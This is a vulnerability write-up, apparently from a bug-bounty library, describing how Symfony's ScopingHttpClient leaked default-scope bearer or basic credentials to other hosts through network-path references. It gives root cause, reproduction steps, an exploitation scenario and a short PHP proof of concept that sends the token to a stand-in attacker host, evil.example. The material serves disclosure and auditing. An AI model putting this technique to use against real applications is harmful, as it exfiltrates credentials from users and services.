# Symfony: ScopingHttpClient Sends the Credentials of Its Default Scope to Other Origins Through Network-Path References

Symfony ScopingHttpClient merged default-scope credentials before resolving relative URLs, so a network-path reference like //evil.example/steal leaked the bearer token to an attacker host.

- Payout: Research
- Severity: high
- Program: Symfony
- Found by (vendor credit): Thomas Chauchefoin from Trail of Bits
- Found by: thomas-chauchefoin-tob
- Disclosed: 2026-12-01
- CVE: CVE-2026-121971
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gq53-v8w2-gjhj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gq53-v8w2-gjhj
- Tags: area:oss domain:oss domain:web impact:data-leak kind:research platform:ghsa sev:high tech:php technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:secrets-leak

**Target:** symfony/http-client ScopingHttpClient URL resolution
**Root cause:** ScopingHttpClient merged the default scope's options (auth_bearer, auth_basic, headers, local_cert) into the request before resolving a relative URL against base_uri. A network-path reference carries its own host, so it resolved to a foreign origin that no scope matches, yet retained the merged credentials.
**Steps:**
1. Configure a scoped client with a base_uri and default-scope credentials, e.g. `ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', ['auth_bearer' => 'secret'])`.
2. Pass a user-controlled relative URL beginning with `//evil.example/steal` to `$client->request('GET', ...)`.
3. Observe the request is sent to evil.example with `Authorization: Bearer secret`, whereas the absolute form `https://evil.example/steal` receives no credentials.
4. Same leak occurs for a different port or a user-info part on the same host, and when the resolved URL matches another scope the default scope's credentials are sent instead of that scope's own.
**How found:** Noticed that relative URLs are resolved against base_uri after scope options are merged, and that a network-path reference (//host) carries its own authority, so it escapes the base URI's origin while keeping the merged options — unlike the absolute spelling which gets none.
**Exploitation:** An attacker who controls the start of a URL passed to a scoped client (a path from user input or a URL from a remote API response) supplies a network-path reference to their own host; the client sends the default scope's bearer/basic credentials or headers to that host, exfiltrating them.
**Insight:** When auditing URL-scoping or credential-injection clients, test the network-path reference form `//host` (and user-info/port variants) separately from the absolute form: resolution order between option merging and URL resolution is where origin checks get bypassed.

## Proof of concept (copied exactly from the original report)

**ScopingHttpClient leaks bearer token via network-path reference**

```
$client = ScopingHttpClient::forBaseUri(HttpClient::create(), 'https://api.example.com/', [
    'auth_bearer' => 'secret',
]);

$client->request('GET', '//evil.example/steal'); // sent to evil.example with "Authorization: Bearer secret"
```

